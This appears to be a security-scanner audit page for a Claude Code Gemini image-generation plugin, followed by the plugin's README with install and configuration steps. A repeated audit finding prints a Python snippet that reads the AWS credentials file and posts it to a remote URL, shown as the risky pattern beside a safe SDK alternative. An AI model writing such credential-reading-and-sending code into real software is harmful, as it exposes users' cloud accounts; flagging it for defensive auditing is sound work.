Claude Image Gen — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited Claude Image Gen (Plugin) and scored it 15/100 (red). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 10 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 10 flagged
This plugin references the AWS credentials file or the access-key fields stored inside it (if (process.env["AWS_ACCESS_KEY_ID"] && process.…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.
creds = open(os.path.expanduser("~/.aws/credentials")).read()
requests.post(url, data={"creds": creds})# let the SDK resolve credentials; never read or transmit the file yourself
import boto3
s3 = boto3.client("s3")This plugin references the AWS credentials file or the access-key fields stored inside it (if (process.env["AWS_ACCESS_KEY_ID"] && process.…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.
creds = open(os.path.expanduser("~/.aws/credentials")).read()
requests.post(url, data={"creds": creds})# let the SDK resolve credentials; never read or transmit the file yourself
import boto3
s3 = boto3.client("s3")Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
AI-powered image generation using Google Gemini, integrated with Claude Code.
The plugin installs skill + CLI + MCP server in one step—no separate configuration needed.
# Add the marketplace
/plugin marketplace add guinacio/claude-image-gen
# Install the plugin
/plugin install media-pipeline@media-pipeline-marketplaceOr install directly from GitHub:
/plugin install guinacio/claude-image-genOnce installed:
Tip: Since the skill runs the CLI directly, you can disable the MCP server in Claude Code's MCP list to reduce startup overhead. The skill will continue to work without it.
For Claude Desktop users, install the pre-built extension:
media-pipeline.mcpb from Releases.mcpb fileFor developers who want to customize or build from source:
#### 1. Build the MCP Server
cd mcp-server
npm install
npm run bundle#### 2. Use the Standalone CLI
cd mcp-server
GEMINI_API_KEY=your-api-key-here node build/cli.bundle.js \
--prompt "Landing page hero image for a fintech startup" \
--aspect-ratio "16:9"The CLI runs directly against Gemini and returns structured JSON on stdout. It does not require the MCP server layer.
#### 3. Add to Claude Code
Option A: Using MCP server
claude mcp add --transport stdio media-pipeline \
--env GEMINI_API_KEY=your-api-key-here \
-- node /path/to/claude-image-gen/mcp-server/build/bundle.jsThe -- separates Claude CLI flags from the server command.
Option B: Manual config
Add to your Claude Code config (~/.claude.json):
{
"mcpServers": {
"media-pipeline": {
"command": "node",
"args": ["/path/to/claude-image-gen/mcp-server/build/bundle.js"],
"env": {
"GEMINI_API_KEY": "${GEMINI_API_KEY}",
"GEMINI_DEFAULT_MODEL": "${GEMINI_DEFAULT_MODEL:-gemini-3-pro-image-preview}",
"IMAGE_OUTPUT_DIR": "${IMAGE_OUTPUT_DIR:-./generated-images}",
"GEMINI_REQUEST_TIMEOUT_MS": "${GEMINI_REQUEST_TIMEOUT_MS:-60000}",
"MEDIA_PIPELINE_LOG_LEVEL": "${MEDIA_PIPELINE_LOG_LEVEL:-info}"
}
}
}
}The ${VAR:-default} syntax uses environment variables with fallback defaults.
#### 4. Install Skill Manually (Optional)
If not using the plugin:
cp -r skills/image-generation ~/.claude/skills/#### 4. Build Extension from Source (Optional)
To create your own .mcpb extension for Claude Desktop:
cd mcp-server
npm install -g @anthropic-ai/mcpb
npm run pack:mcpbThis creates mcp-server/media-pipeline.mcpb using bundled runtime entry points for both the MCP server and the standalone CLI.
Use create_asset to create a hero image for a tech startup websiteThe skill will proactively suggest image generation when:
| Variable | Required | Default | Description |
|---|---|---|---|
GEMINI_API_KEY | Yes | - | Your Gemini API key |
GEMINI_DEFAULT_MODEL | No | gemini-3-pro-image-preview | Default model to use |
IMAGE_OUTPUT_DIR | No | ./generated-images | Where to save images |
GEMINI_REQUEST_TIMEOUT_MS | No | 60000 | Timeout for Gemini requests |
MEDIA_PIPELINE_LOG_LEVEL | No | info | Stderr logging level |
Available image models are fetched dynamically from the Gemini API at runtime. The CLI and MCP tool validate model choices against the current image-capable model list, and GEMINI_DEFAULT_MODEL is used when available.
| Ratio | Best For |
|---|---|
1:1 | Social media, thumbnails |
16:9 | Hero images, presentations |
9:16 | Mobile stories, vertical banners |
4:3 | Blog posts, general web |
3:2 | Photography-style images |
Use this formula for effective prompts:
[Style] [Subject] [Composition] [Context/Atmosphere]Example:
Minimalist 3D illustration of abstract geometric shapes floating in space,
soft gradient background from deep purple to electric blue, subtle glow effects,
modern professional aesthetic, wide composition for website headerSee skills/image-generation/references/prompt-crafting.md for advanced techniques.
CLI Mode (Default) - Used by the skill:
Claude → Skill → Bash → bundled CLI → Gemini APIMCP Mode (Optional) - For direct tool calls:
Claude → MCP Tool → bundled MCP server → Gemini APIThe MCP server uses intentionally abstract naming (media-pipeline / create_asset) rather than image-specific names (gemini-image-gen / generate_image).
Why? When tool names directly match intent (e.g., "I need to generate an image" → generate_image), AI assistants tend to call the MCP tool directly, bypassing the skill layer. By using generic names:
image-generation) becomes the semantically obvious choice for image tasksThis is a form of prompt engineering for tool selection—making the abstraction layer the natural choice while the underlying implementation has a name that doesn't invite direct use.
claude-image-gen/
├── .claude-plugin/ # Plugin configuration
│ ├── plugin.json # Plugin manifest
│ └── marketplace.json # Marketplace distribution
├── mcp-server/ # Server and CLI implementation
│ ├── src/
│ │ ├── index.ts # MCP server entry point
│ │ ├── cli.ts # CLI entry point (skill uses this)
│ │ ├── gemini-client.ts
│ │ ├── image-storage.ts
│ │ └── types.ts
│ ├── build/
│ │ ├── bundle.js # Bundled MCP server
│ │ └── cli.bundle.js # Bundled CLI (all deps included)
│ ├── .mcpbignore # Package only the runtime files needed by the bundle
│ ├── manifest.json # MCPB extension manifest
│ ├── icon.png # Extension icon
│ ├── package.json
│ └── tsconfig.json
├── skills/ # Claude skills
│ └── image-generation/
│ ├── SKILL.md # Skill instructions (uses CLI)
│ └── references/
├── .mcp.json # MCP configuration
└── README.mdMIT
~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.